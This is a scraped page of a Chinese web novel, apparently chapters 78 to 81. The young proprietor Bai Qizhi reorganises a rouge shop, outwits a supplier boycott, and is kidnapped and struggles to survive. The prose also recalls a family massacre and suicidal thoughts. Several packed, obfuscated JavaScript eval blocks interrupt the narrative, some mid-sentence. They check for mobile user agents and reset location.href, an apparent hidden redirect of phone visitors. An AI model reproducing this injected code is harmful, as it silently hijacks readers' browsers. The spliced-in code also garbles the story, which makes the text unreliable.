只听白栖枝道：“春花出身林府，又常于大爷身侧学习，心思细腻、聪明伶俐、性子果断，加之又常任坊内账房，即日起，便擢升春花为坊内掌柜。而后——游金凤、夏宝珠。” “东家，我们在！” “从今日起，你们便担任账房一职。游金凤，你当负责记录坊内银钱初入、库银调配之事；夏宝珠，你当负责坊内账目记录，并将每月账目进行统计、总结，而后呈报给给李店长。你二人所做之事于坊内来说至关重要，不得有误，知晓了么？” “是！东家。” 紧接着，白栖枝又令紫玉带着她众多学徒负责坊内古法胭脂，又从新流派的那批制粉师中挑选一人作为新流派制粉师中的代表，负责统领新式胭脂研制，至于她们需不需要副手相助，就全凭她们挑选了。 莫当时和莫伯也是坊内的老人了，白栖枝定然不会亏待他们，只莫当时性子还是需要磨练，白栖枝不敢将他委以重任，只是还让他做售货郎君，负责花楼那边的诸多生意。至于莫伯，倒也不必再做洒扫那样的小事，正好他在淮安住的久，路途也十分相熟，白栖枝便提拔他为递夫，负责将府内新研制的胭脂水粉送至各位夫人小姐府上，也省的他这把年纪还要做粗活重活。至于其他杂物，店内自有人去做。 白栖枝将其余人等又是一番安排，又依着最初的言辞说了些激励人心的话作为煞尾，待到一切过后，已是辰时初，众人不敢耽搁，赶忙纷纷去做自己的事。 香玉坊这才正式开门营业。 “蔚大师。”白栖枝刚从楼上下来，迎面便撞见了蔚元柳。 她欠身一礼，一瞬不瞬地看着蔚元柳笑：“不知蔚大师找我所为何事？” 蔚元柳一副收拾妥帖的模样，刚要说话，旁边紫玉就冲过来道：“东家东家！我师父非要回村！你快帮我劝劝她呀！” “紫玉，不得无礼。”蔚元柳一皱眉，随即又回头看向白栖枝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没什么不可的，蔚大师……”白栖枝微微一笑，抬手摸了摸躲在自己身后、牵着自己衣角、哭得正伤心的小学徒的头，说道，“毕竟孩子们也很想您嘛，去多看一两日，不打紧的。” “那蔚某就替徒儿与徒孙们谢过东家了。” 见蔚元柳作势要礼，白栖枝赶紧将她扶起，忙不迭道：“哪里哪里，人之常情罢了。” 她顿了顿，眼底忽地生出一抹无奈苦涩的伤意来，温声道： “倘若栖枝的爹娘阿兄还活着的话，栖枝也会恨不得一年到头都依偎在他们怀中不分开的。可也正是因为失去了，才会更懂他人对这份情意的重视，所以我不想让身边人也长久地无法与亲人相见……啊，抱歉，说了这么多私事实在是失礼。” 白栖枝说着，又抬头，唇角微微扬起一抹笑意。 ——这不是她模仿沈忘尘的那种温和而虚无笑，这是独属于她白栖枝的真情流露。 毕竟在如今香玉坊内，想让白栖枝是白栖枝，对她这个经验不足的小东家来说还是一件很难做到的事。 “既然蔚大师要走，不若等到晌午一起用过饭再走，正好一会儿在下也要请紫玉和李掌柜他们到祥和楼小聚庆功，顺便商议一下坊内日后新出的胭脂，如果蔚大师愿意赏脸，为我们传授一番心得，那就更香玉坊之幸了。待到酒足饭饱，在下再请马车送蔚大师回去也不迟。” “那蔚某就先谢过东家美意了。” “哪里的事？是在下有求于蔚大师罢了。” “东家东家！”见两人谈完，白栖枝身后的小姑娘眼泪汪汪地揪着白栖枝的裙角晃了晃，一副很期待的样子，“东家要去请紫玉狮虎和狮主一起去次饭嘛？可不可以带小酿一个？” “小凉！” 苏合一声吼，吓得小姑娘赶紧缩回白栖枝身边，偷偷地，不敢看大师姐。 白栖枝哑然失笑。 “既然如此，那就叫坊内的大家就一起去吧，左右是庆功宴，就当祝贺咱们香玉坊正式恢复如初好了，没事的。” 没事的没事的，就是…… 就是她的荷包有点空空的而已，呜…… 想着，白栖枝在心里摸了摸自己空可见底的荷包，强忍着，不让自己当着众人的面哭出眼泪来。 …… [1]《周易·乾》：“君子终日乾乾，夕惕若厉，无咎。”形容一天到晚勤奋谨慎，没有一点疏忽懈怠。 79. 甜头 六月中，盛夏。 窗外蝉鸣声声，热浪如潮水般一层层朝屋子里涌，饶是两人穿着轻纱制成的消暑衣衫，也难免被激出一身的薄汗。 棋盘上，已经进行了数十手交锋，沈忘尘执黑棋，占据左上角的星位；白栖枝则捏着白棋，在右下角展开布局。 第十五手，黑子在中央天元附近落子。 第十六手，白栖在左下角三三位置打入。 第十七手，黑棋在右上角小飞守角。 第十八手，白棋在中央跳了一手，试图连接自己的孤子，同时威胁黑棋薄弱之处。 两人就这样不紧不慢地敲着，偶尔抿上一口茶水，目光却还是聚集在对方落子处，而后放杯举棋，落下自己的应对之策。 自坊内安排好一切后，坊内一切都由春花代为传达，除非坊内实在是出了大事要她这个东家必须亲自到场外，白栖枝鲜少亲自前去观望，倒也是难得地让她喘息了一两月。 当初她定下的法子已然有了成效，香玉坊的生意如今是越来越好了，连带着她也小赚了一笔，一口气将此前欠给林听澜的僦钱通通还了个干净，甚至还往后预付了几个月，免得林听澜也懒得要，她也想不起来。 但这钱也不是那么好赚的。 这一两个月来，她这个东家也在外头受了不少非议，其他铺子的老板给她唱衰倒是小事，关键是还有人见她这胭脂水粉做得实在是好，想从她眼皮子底下挖人。 好在她让不同的人分别将制作技艺拆分得七零八碎，每一个部分的人只负责其中一小道工艺，以至于对面商家就算把人挖了去，那人并不完全知道整个香玉坊店内胭脂水粉制作的具体流程，反倒叫对家花了冤枉钱。 除此之外，最令人恼火的就是居然有小摊贩仿制她们店内的古法胭脂水粉的外盒，将一些做工不好的胭脂装进去，以一个极其低廉的价格售给那些平民人家的妇人们，导致那些夫人们用了纷纷导致脸部溃烂，一个接一个地跑到她们香玉坊门口来闹，凶得整个坊都只能歇店一天来处理这些行滥货。 幸而香玉坊内胭脂水粉盒子上的团皆由白栖枝一手绘制拟定，里头添了些精巧的小心思，是其他行滥铺子不能所模仿的。加之香玉坊素来对那些夫人们用空的胭脂盒子十分重视，甚至会派人上门去收，以空盒子的数量来拟定下次要给这些多买许多贵重胭脂的夫人们几分让利。以至于此次事件解决速度极快。 但总是这样也不成样子。 白栖枝当即便吩咐下去，可以将那些贵重胭脂做剩下的边角预料都分别用几个小盒子装起来，分发给那些用了行滥货导致脸部溃烂的夫人们，就当是它们香玉坊对此次事情监察不严的赔偿。 此事一出，再加之店内经常提供不要钱的瓜果零嘴，无论女客们进去买不买胭脂水粉、哪怕只是累了歇脚都可以在此处尽情享用，甚至还有贴心的售货娘子主动凑上来嘘寒问暖说些体己话，这些“活招牌”们见了，去外头逢人便夸香玉坊的服侍贴心、胭脂水粉制作上乘。就这样一传十十传百，只靠着这些主顾们人口相传，就直接让香玉坊的名声在淮安内番了一番，便更吸引大批大批的贵客们前来观赏，以至于仅仅只是一个月，坊内预卖的胭脂就高达百来盒，直接叫坊内众伙计笑开了花也忙开了花，累得恨不得能让东家开恩饶她们歇息一天。 然而，坊内忙成这样，白栖枝这头自然也没办法闲下来。 她让春花将在坊内购置上乘胭脂最多的府门都记下来交给她，她又根据里头的名单一个接一个地调查，记住她们的生平喜好后又去记她们那些为官为富的夫婿们的生平喜好，桩桩件件、事无巨细，光是手札就记得比山还高，更何况她还要将这些尽快将这些东西都尽数都背下来，别提有多疼了。 ——自古官官相联通。 倘若她真能靠此脉络找到一个强有力的靠山，那为家中昭雪之日估计也就不远了。 可外头那些同做胭脂水粉生意的商贾们哪里知晓她的心思？ 香玉坊这一连串的事环环相扣下来，外头的那些商贾们只能眼睁睁看着她们这些弱女子将淮安境内胭脂水粉生意这块大“馅饼”狠狠划分去一大块，这放在谁身上谁不眼红？！ 这不，还没等香玉坊开始真正在淮安境内大展拳脚呢，其他那些胭脂水粉铺子的老板们就难得地一同联合起来，不许再有店家售卖红蓝花、紫草给香玉坊，否则…… 他们其中有的人同官宦人家有些姻亲，那些售卖草药的小铺子惹不起，而大店面也不想白白地惹上这个麻烦，于是还没等六月过去，整个香玉坊就再也买不到这些材料来做胭脂了。 这事儿传到白栖枝耳朵里，她自然急，可等她静下来想了一番后，她反倒是不急了。 恰巧这时沈忘尘叫人来找她对弈，她不顾在一旁急得火急火燎的春花，欣然应允后就轻飘飘地就来了。 沈忘尘自然是第一时间就知道这事儿。 他叫白栖枝来，本就是想看看她此时的状态，见她如此清闲，甚至还不紧不慢地同他落棋子，他就知道：这小姑娘准是心里有主意了。 两人聊了好一会儿都没人开口。 直到第二十四手的时候，沈忘尘才见着白栖枝捏了棋子举起，却迟迟没有落下，眼中瞧着他方才的落子处，却也只是呆呆地瞧着，一看就是魂早飞到九霄云外去了。 “枝枝？”沈忘尘试探性地唤了一声。 白栖枝瞳孔蓦地轻缩了一下。 她下意识上挑着“嗯”了一声，随后才回过神来，落抬眸朝他悠然一笑道：“怎么了，沈哥哥？” “枝枝怎么不继续下了。”沈忘尘也温和地看着白栖枝，关切地轻声问道，“是在想铺子里的事么？” 倒也不是什么有关于铺子里的事…… 白栖枝将手中的棋子翻来覆去地捏着。 就是这两天里她总有种不好的感觉。 是的，一种祸事临头，但又说不上来究竟会是什么祸的那种感觉，以至于有些时候经常就想着想着想着就愣了神，这才久久没有落子。 但这事儿白栖枝又不好同沈忘尘讲，便顿了顿，顺着他的话慢吞吞回答道：“我在想……既然淮安已经出了一个香玉坊，那为什么——就不能再出第二个香玉坊呢？”说完，她才将手中棋子放在该放置的地方，收了手，静静等待着沈忘尘的教诲。 后者一开始只是默默听着，直到她落下棋子，他才从棋盅里摸出一枚黑子，温声问道：“那枝枝可选好店铺了？” “咔哒。” “不用选店面。”黑子落，白子执棋，看了又看，“只需要将别家的铺子收过来就好，不用那么费事的。” “咔哒。” “比起收铺子，不知枝枝今日可派人去同那些店家们商谈货物了？” “咔哒。” “谈不拢的。” 白栖枝看着棋盘上针锋相对的棋局，就知道今日这局棋势必是要被他们其中一人逼平了。 她拿着棋子，并不看棋盘，只是看着沈忘尘那双一直如茶雾般温柔的双瞳，随手下道：“谈不拢的，他们背后的那些人已经开始厌恶香玉坊了，就算我们去求饶，人家也未必会施舍给我们一丝怜悯。与其日后一直这样同他们摇尾乞怜，那香玉坊为何不直接自己开辟出一方田地去种那些药草？一来可以保证坊内供货稳定、自产自销，二来也能保证坊内用料干净，绝不粗制滥用。倘若可以，从此以后，坊内便可以以此做为噱头打出去，没准还能搏得一个好名声，何乐而不为呢？” 眼见白栖枝开始胡乱落子，沈忘尘合了棋盅，长长叹了口气问道：“可那些东西就算你此时种下，也要耐心等上几个月才能长成，这几个月内怎么办？” 白栖枝知他无心再下，自然也同他一起合上棋盅，微微一笑道：“沈哥哥无须忧心，此事我自有安排，必不会叫香玉坊亏损。” 昔日柔顺贴心的小姑娘如今越来越有主意了。 沈忘尘自知在这事儿上他管不住她，便只闭目倚在贵妃榻上缓神，可到底还是忍不住，又开口苦口婆心地劝道：“枝枝，你如今正值少年气盛之时，又如此春风得意，我说的话你大抵是听不进去的，可我还是要同你说一句——凡事最忌一家独大。枝枝，你的心思我理解，可什么事都要给别人留余地，你这样顾头不顾尾，故内不顾外，日后在生意场上是要吃大亏的。” 白栖枝不傻，她自然明白这个道理。 可是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101025|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她有些收不住手了。 人都是这样的，在苦日子里泡久了，只要尝得了一丁点甜头，无论前方是否是深渊，就会奋不顾身地朝那方向一往无前，直到与深渊撞了个满怀。 白栖枝也是这样，人无完人，更何况她才十四岁！ 十四岁——人生能有几个十四岁？ 她如今能趁着眼下香玉坊赚上一笔，可日后呢？若是有朝一日香玉坊不在她手里了，她又要从哪里去再赚的这么多的钱财？难不成还要在大冬天夜里跳湖为人捡帕子么？！ ——疯了。 白栖枝曾无数次对自己这样喃喃自语。 可她要再不疯，她就再没多少年华可以这么疯干一场了！ 是吃亏也好，是日日被人辱骂也好…… 她就是要钱、要名、要风雨！ 她就是要用这些来为她白家昭雪！ ——疯了！ 如今属于白栖枝的人生才将将开始，面对沈忘尘的劝诫，白栖枝听也是不听，不听也是听，但面对着沈忘尘那张难掩病容的玉面时，她还是敛了眸子，露出一副乖顺的神情，轻声缓缓答道： “是，沈哥哥的教诲，枝枝定铭记于心……” “绝对不敢忘怀。” 短短是两人谈话间的功夫，香玉坊内众人不见东家到来，个个都要急疯了—— 眼见预卖的契子越摞越高，原料却越用越少，大家都纷纷觉得香玉坊可能撑不过这阵儿了，一个个愁眉苦脸，就恨不得去别的店铺里抢了。 众人中，尤其是李素染，她刚做店长不久就遇到了这等子遭雷劈的祸事，如果不是白栖枝告诉她从此以后她就是香玉坊的脸面，她现在肯定冲到那些个草药店里揪着那帮孙子的衣襟大吼着问他们凭什么不把东西卖给她们，还想不想赚钱了！ 突然—— “白老板在么？”一个操持着乡里口音的黑黝黝地小伙子带着草帽朝坊内探出头来，“蔚大师说，她按照白老板的吩咐，已经把从外头收购来的红蓝花和紫草给送过来了。蔚大师还说了，地的价钱已经问好了，如果白老板想租的话，契子已经拟好就等您签字盖章了。” “嗷——东家！” 人群中猛地一声尖叫吓得小伙子赶紧缩了缩脖子，忙问“发生什么事了”。 只见李素染提着裙子手忙脚乱地跑过来，两眼放光道：“你就是牛娃是吧？” 小伙子茫然地“啊”了一声。 李素染兴奋极了：“怪不得东家前两天还吩咐如果有人来找我签字盖章的话，让我检查一下契子，确认无误后就可以画押了，原来在这儿等着呢！不愧是东家！早早的就有先见之明啊！” 说着，她一边赶紧将牛娃领到店内，一边又赶紧吩咐人去拿外头那些红蓝花和紫草。 两人确认了一番，李素染签字盖章交钱，牛娃就兴冲冲地离开了。 眼看着山一般的原料往库内存，大家一直提着的心这才安安稳稳地放了下来。 就连紫玉才明白过来，怪不得那天师父临走后，白栖枝一路送她到马车上后又一直往她手里塞东西嘱咐着些什么，原来是东家一早就预料到香玉坊会被人针对，这才早早地让师父去别处收购红蓝花往坊内送。 东家果然是东家！ 如此一来，坊内就不用再担心买不到原料的事了！她们这些人也能放心地继续撸起袖子开始大展身手了！ 不过，假如宋二公子没走的话，那些人也不敢如此明目张胆地欺负东家吧？毕竟谁身后还没个当官的人了！ 不过宋二公子一早就去参加会试了，也不知道有没有回来。 如果有他给东家撑腰的话，东家也不必这么辛苦吧？ 想着，紫玉撇了撇嘴，转身又去带自己那群小学徒们去了。 香玉坊的生意还是一直蒸蒸日上，由于这一批原料是蔚元柳从外头村落直接买完送过来的，新鲜又上乘，做出来的胭脂也被客人们赞不绝口，导致其他店家只有眼红的份，他们再想弄香玉坊也弄不到了。 事情都在一点点变好，至少坊内所有人都是这么认为的。 直到坊内发生了一件惊天的噩耗—— 白栖枝失踪了！ …… 80. 静思 白栖枝也不知道自己是被怎么弄来的。 她只记得，她从香玉坊出来后想穿去北名大街上的那家面馆吃口面，结果走着走着走着就被人死死捂住嘴，再后来她身体一软，眼前一黑就什么都不知道了。 “唉——”白栖枝长长叹了口气。 滴答，滴答，滴答。 昨日晚刚下过雨，破败的仓库避不住风雨，雨水顺着支离破碎的木梁从断口处一滴一滴地砸在她头上，搞得她不得不费力地挪动着屁股往边上凑凑。 避不住的。 这里四处都破败不堪，几处断裂的地方像是被巨兽撕咬过一般，露出里面腐朽的木梁和杂乱的草屑，青苔在墙角肆意生长，四周的墙壁也早已被风雨侵蚀得斑驳陆离，墙上的木板有的已经腐烂脱落。 凄冷的风顺着黑暗的空隙灌进来，白栖枝就逆着风的方向向外看—— 那些绑匪好心，只绑了她的手脚，没有遮住她的眼、堵住她的嘴，甚至在绑完后在外头坐了一宿也就离开了。 实在是太好心了。 今日已经是白栖枝被困在这个小破仓库里的第三天了。 人一闲下来就容易想事儿。 被捆着三天不吃不喝，白栖枝唯一能做的就是从那些漆黑的缝隙往外瞧，每次风吹，都冷得她直打哆嗦，也让她渐渐地、渐渐地冷静下来。 白栖枝这几天想了很多，凡是自己记事后的事她都想了一遭。 时至今日，她还是不明白自己的家是怎么没的。 那一天，火舌舔舐着着天空，那些人用弯刀抹了他们的脖子。 对，弯刀，看起来不像是中原人会用的类型。 她躲在自己房间的角落里，然后阿娘慌张地冲进来领着她就往后堂跑。 阿娘将她塞进箱子里，箱子锁上后仍有缝隙。 她就是从缝隙里窥见阿娘被jian杀的惨状。 突然—— 一双血红的眼贴上了她的眼。 两人隔着木箱，距离之近，她甚至可以看清那人眼中每一道血丝。 那人的瞳孔漆黑的，是中原人的瞳孔。 两人对视的时候，那双眼瞳不会动，那双漆黑的洞就这样映着她的眼，她甚至可以看见自己的瞳眸在惊恐地颤动。 她甚至流不出泪。 她在一片麻木中绝望地等死。 屋外猛地传来一声哨语，那双骇人的眼抽离出她的视线，直到那人走远，白栖枝才脱力地瘫倒在木箱中，垂眸，从缝隙里看到阿娘头颅上那双一直直视着她的眼。 他们没杀她。 他们为什么不杀了她？！ 从长平到淮安，白栖枝一路都在想这个问题。最难过的那段日子，她甚至都已经做好赴死的准备了，那条河的河水都已经没过她的下巴了，可是…… 不行啊，还是不行啊。 在给头发拧水的时候，白栖枝暗暗地想：她还不能死呢。 身上担了家中三口亡魂的命，她还不能死呢。 她不能死！！！ 被极度的悲伤所催生出的，是极度的愤怒。 她就凭着这股愤怒，在破庙里遇到赶考躲雨的宋长宴。 那一晚大概是她从家中逃离后最快乐的一段时间，待到两人拜别后，她又朝着淮安出发。 她早就到了。 ——在敲开林家的大门前，她早就抵达淮安了。 可是……可是…… 真的要去吗？ 白栖枝也在犹豫。 无数次，白栖枝无数次躲在离林家大门最近的那条小巷里偷窥着那扇漆红厚重的大门。 她无数次看见林听澜从那扇大门里进进出出，她无数次在街坊中听过林听澜的那些传闻，她无数次思索自己究竟要不要去叩开那扇不欢迎她的大门。 她犹豫了五天，最终还是转头离去，直到…… 是巧合吗？ 为什么她会在山谷间撞见他们呢？ 那天，谷中开了满山的桂花，她像一只阴暗卑微的老鼠，躲在远处一棵微不足道的桂花树后觊觎着他们的幸福。 她仔细地瞧着坐轮椅的那位的面容：那人……面熟……见过？ 不知道，应是长平人，不知怎么来的淮安，而且腿还坏掉了。 ——他把林听澜玩得跟狗一样。 好奇啊，实在是好奇。 白栖枝用一晚上抚平了自己的心绪，又用了一早上努力描摹出自己当年纯善天真的模样，然后，在那个黄昏，她用那副惶然无措、胆小可怜的模样叩开了林家的大门。 倘若沈忘尘不出声的话，她也许会就此走掉，从此与林家再无瓜葛。 可是，在和那人对上双眼后，她忽地明白了。 是同类啊…… 装出一副光风霁月的善人模样，打眼瞧着还是个人，其实骨子里头早就是鬼了。 他会对她感兴趣的。 没错，他会对她感兴趣的。 于是，在那天，白栖枝又成了那位养在深闺中的白家大小姐，装作一副什么都不知道的样子，成了所有人眼中的傻子。 风还在紧巴巴地沿着墙缝往里灌，白栖枝从肺腑里挤一口气，竟荡起一层白雾。 白栖枝到底不是傻子，她知道沈忘尘在觊觎着什么，他的目光太殷切了，以至于她不得不注意到那股灼热的、落在自己胞宫上的视线。 实在是……太灼热了。 何至于此啊？ 不过，白栖枝觉得，只要这层窗户纸不被捅破的话，她还是很喜欢继续上演平日里那种兄友妹恭的场面的。 可若是…… “滴答！” 雨水顺着断梁砸在她头上。 又在想奇怪的事情了……白栖枝甩甩头上的水。 今日已经是第三日了，还没有人来找自己，估计那两个人早就放弃救她了吧。 果然，靠人不如靠自己啊。 收回思绪，白栖枝一点点挪蹭到墙边，脊背贴着阴冷潮湿的残垣断壁，一寸接一寸地努力让自己起身。 许是身体都舒展开来的缘故，白栖枝被催来的风冻得狠狠打了个哆嗦。 好冷…… 她想走，可手脚都被捆住，只能一蹦一蹦地跳到木门前。 “咚！”“咚！”“咚！” 单薄瘦削的身躯一下接一下地用力，明明看起来几近腐烂的木门，如今却格外坚不可摧，金属撞击着木头的声音隔着门板清晰地传到白栖枝耳边。 外面被人上了锁。 三日未吃饭，白栖枝本就没什么力气，接连撞这几下，更是令她气喘吁吁、头晕眼花，几乎就要仰倒着栽过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163715|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白栖枝挨着这股子晕劲儿将自己倚在门上，喉间干哑一片，甚至还隐隐泛着铜臭味的咸腥。 白栖枝费力地咽了口唾沫，那股血腥气不减反增。 她鼻腔一湿，鲜红的血顺着人中雨一般滴答在衣襟上，洇开一片殷红的痕迹。 白栖枝想抬手抹去，但她的手被捆得太死，食指冰冷，她扭头往后瞧，甚至还能看见自己紫青色的指尖。 可如果只是这处出血也就罢了。 白栖枝一寸寸爬远目光，她所至之处，无不留下宛若红莲地狱的血痕。 掐日子，被绑来的那天就是她来癸水之日。 鲜血流了三天，寒风吹了三天。 白栖枝想起自己这几天是怎么熬过来的就想发笑。 可她实在是没力气笑了。 白栖枝的身躯沿着木门下落，散乱的乌发在门上蹭出一道墨痕。 ——我恨死你了白栖枝，你怎么还不去死！ 看吧，人在太闲的时候是会什么都记起的。 白栖枝勾了勾唇角。 鲜血顺着唇峰滑落，抿进齿尖，腥得发甜。 这么多年，好像所有人都在要她死，就连她自己都在想：要不就死这儿吧？ 要不就死这儿吧。 死去的话，她就又可以见到阿娘阿爹阿兄了； 死去的话，她就不必再背负着家中所有人的冤魂在这世间踽踽独行了。 白栖枝闭眼想： 要不就死在这儿吧。 …… “什么？人还没有找到，你们是干什么吃的？！” 咣榔！ 一桌子的东西被掀翻，在场所有人都股战胁息，根本不敢发出半点声响。 林听澜眉头紧锁，呼吸急促：“找！就算是把淮安掀了个底朝天也要给我找到！活要见人，死要见尸！如果在找不到人，你们也不用活了！！！” 众人不敢多停留一秒，赶紧鱼贯而出，生怕自己多待一秒主子的怒火就会降到自己头上。 房间空荡荡。 林听澜心中的怒火却不见熄。 看着满地的狼藉，林听澜攥紧拳头，指甲几乎要嵌入掌心。 三天了！ 整整三天，他派出林家上上下下所有人手，几乎翻遍了淮安的每一个角落，却依旧没有找到任何线索。 白栖枝就像人间蒸发了一般，连一丝痕迹都没有留下。 虽然曾经无数次诅咒过想让她死，可如今真当她真当生死未卜时，他却比任何人都希望她还活着。 他不想她死。 他于心有愧。 “吱呀——” 门轴转动。 林听澜烦躁大喊道：“滚出去！” “阿澜，是我。”平静如水般的声音响起，林听澜猛地抬头，只见沈忘尘被人缓缓推入。 春花满脸泪痕，在把沈忘尘推至林听澜面前后，她屈膝一礼，转身擦着泪离开了。 沈忘尘一脸疲惫。 白栖枝失踪，他自是心急如焚，可恨他双腿如此，也帮不上什么忙，只能从林听澜手中接手一切事物，让他安心找人。 林听澜抬首看着近在咫尺的沈忘尘，目光发紧。 他隐忍许久，不想让沈忘尘担忧太过，可一开口，却已含哭腔： “忘尘……” 81. 求生 沈忘尘抬手拍了拍他的脑袋。 “不会有事的。”他说，“枝枝那么聪明，不会有事的。” 说完，又是一阵咳嗽。 沈忘尘近日忧思过重、心火过旺，导致气血两虚。原本就不好的身躯如今更是不堪，没息两声就又剧烈地咳嗽起来，听的人心头直跳。 林听澜一脸担忧地看着他。 只见沈忘尘捂着嘴，剧烈地咳嗽了半晌，缓了缓，才放下手拿着帕子擦了擦，方问道：“枝枝那边还是没消息吗？” 提起白栖枝，林听澜那颗原本放下些许的心又被一只无形的大手紧紧地捏着提了起来。 “没有。整个淮安都搜遍了，连周边的村镇也派人去查了，可还是没有一点消息。”林听澜的声音低沉，带着几分压抑的焦虑，“忘尘，你说……她会不会已经……” “不会的。”沈忘尘打断他不安的妄想，定声道，“枝枝不会有事。她那么聪明，绝不会轻易让自己陷入绝境。况且，自长平到淮安，那两个月的时间她都能毫发无损地熬过来，没道理这次熬不过的。” 虽然这样说，但捏着帕子的手却已用力到骨节发白。 沈忘尘也明白这也只是在安慰林听澜和他自己。 眼下此般，别的早已顾不上。 他只想让白栖枝活着。 沈忘尘深吸一口气，吸得声音都发颤，却不敢让林听澜听见，拼命压抑，却倒让这一口气滞郁在后头，上不去、下不来，憋得整个胸腔都跟着隐隐作痛。 “忘尘。”林听澜见他神色异样，忍不住开口。 “无事。”沈忘尘稳了稳心神，又恢复了如平常般温润的神情，朝林听澜温声道：“眼下当务之急，是再派人手向更远处再找找，就算是揭地掀天，也要把她找到。还有，” 沈忘尘顿了顿，向来莹润如玉的双眸忽地生出几分冷冽，如同檐牙下尖锐的冰凌，似要将整个天地刺穿，“那些在淮安卖胭脂水粉的老板也是，从小到大，无论使用什么手段，一个都不要放过。待到必要之时……”他将手搭在林听澜的膝上。 没有温度的手，如同冬日里凛冽的风，透过衣物直直朝骨髓里打来。 林听澜抬眼看他。 后者只是笑：“阿澜……不要心软。” …… 白栖枝是痛醒的。 她用头撞开了门，却因太用力而晕死过去。 昏倒前，她的眼前是一片血红。 她琢磨着：自己没准儿就失血过多死过去了呢。 可黄天厚土不收她，到底让一场雨浇灭了她的妄想，叫她又冷又痛地回到人间，继续匍匐在地，如虫豸般苟延残息。 她现在可不就是一条虫？ 手脚被捆住，站不起来，就只能用胸脯和膝盖一寸寸地向前挪。 夜色沉沉，雨声淅沥。 这还是白栖枝第一次离土地如此近。 昔日，她只明白人死后是要被埋进土里的。却不想今日她尚且活着，却也要离黄土如此之近。匍匐前进时，她甚至能感受到泥土中的砂砾一颗颗碾过她的胸脯，仿佛每一寸肌肤都在被细小的刀片割裂。 额发被雨水黏腻地贴在脸上，血迹混着雨水顺着脸颊滑落，滴在泥土上，晕开一片暗红。 她看不清，却听得清。 偌大的空林里，耳边只有风声和雨声，一丝有关于人的声音都听不见，甚至连鸟鸣都没有一声。 白栖枝接着湿润的土地拨开黏在眼前的额发，静静地观察着四周。 在一片雨打残叶之中，似乎有着细小的水流声。 白栖枝屏息凝神，闭上眼睛静静聆听—— 水声来自西南方，听起来，像是从山上发源的溪流。 她从书上见过：水为万物之源，人皆依水而居。若遇溪流或江河，顺流而行，多遇人烟。盖水流终归于湖海，而人居之所，常傍水而设，以便汲水与往来交通。 而且书上还说：山谷中草木繁茂之处，多有地下水潜藏。苔藓之属，性喜潮湿，常生于泉源之旁或润泽之石上。若见苔藓丛生之地，顺其方向探寻，往往可得溪流。 白栖枝将这些话在脑中过了一遍，方睁眼扭头仔细观察四周。 她所料果不错，就在面前西南方，那里的苔藓与蕈、菰皆较其余各处更为茂盛。 白栖枝蠕动着身躯朝西南方拱去。 在路过那些蕈、菰时，她实在是太饿了，饿得都已经张嘴用齿尖抵住那柔嫩的棕黄色菌盖、舌尖已经快要品尝到菌子鲜甜的味道、再用些力就能将它咬下吞进肚子里的时候，她顿了顿，最后还是放开了它，“呸呸”两声，扭头又匍匐向前数米，从地上用嘴一点点将那些不知名的野菜连根拔起，混着腥气的泥土，一同吞进肚子里。 阿兄说：荒山最易生长毒蘑，倘若误食，轻则上吐下泻，重则当场毙命。而且这些毒蘑的毒很可能通过菌丝或孢子传播到周围植物上，尤其是与它们混生活接触的植物。况且，还有些毒植物也有可能与毒蘑生长在同一环境中，如毒芹、曼陀罗等在荒山里较为常见，且其根茎、叶片等部位可能与毒蘑混生，倘若误食，也可能毙命。 白栖枝不想死。 哪怕是混着淤泥嚼菜根，哪怕将满口的砂砾吞进肚子里，她也不要死！ “不能死……不能死……”白栖枝在心里一遍遍默念。 雨越下越大，泥泞的土地变得更加湿滑。 白栖枝靠着这些野草和泥土勉强恢复了些力气，喘了几息，又赶身向前。 ——轰隆！ “为什么？到底是为什么？！” 一道响雷劈下，宋怀真的声音被雷声淹没。 她脸色苍白，看着自己一向崇拜敬重的阿父，满脸都是不解与失望。 “阿爹，从小您便教我，我宋家子嗣要重情义、明是非，这是祖辈留下的训诫，也是我们立身之本。可如今枝枝她生死未卜，我怎么能袖手旁观？您说宋家世代以仁义立家，却为何让我眼睁睁看着朋友陷入危难而不顾，这难道就是您口中的‘仁义’吗？” ““够了！”宋鸿晖猛地一拍桌案，震得桌上的茶盏哐当作响。他的脸色铁青，眼中闪过一丝怒意，“怀真，你太天真了！这世上的事，不是光靠情义就能解决的！白栖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175353|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝的事，牵扯太深，不是你一个女子能插手的！你若贸然行动，只会给宋家带来祸端！” 宋怀真咬紧牙关，眼中的泪水在眼眶中打转，却倔强地不肯落下。她的手指紧紧攥住衣角，指节因用力而发白。 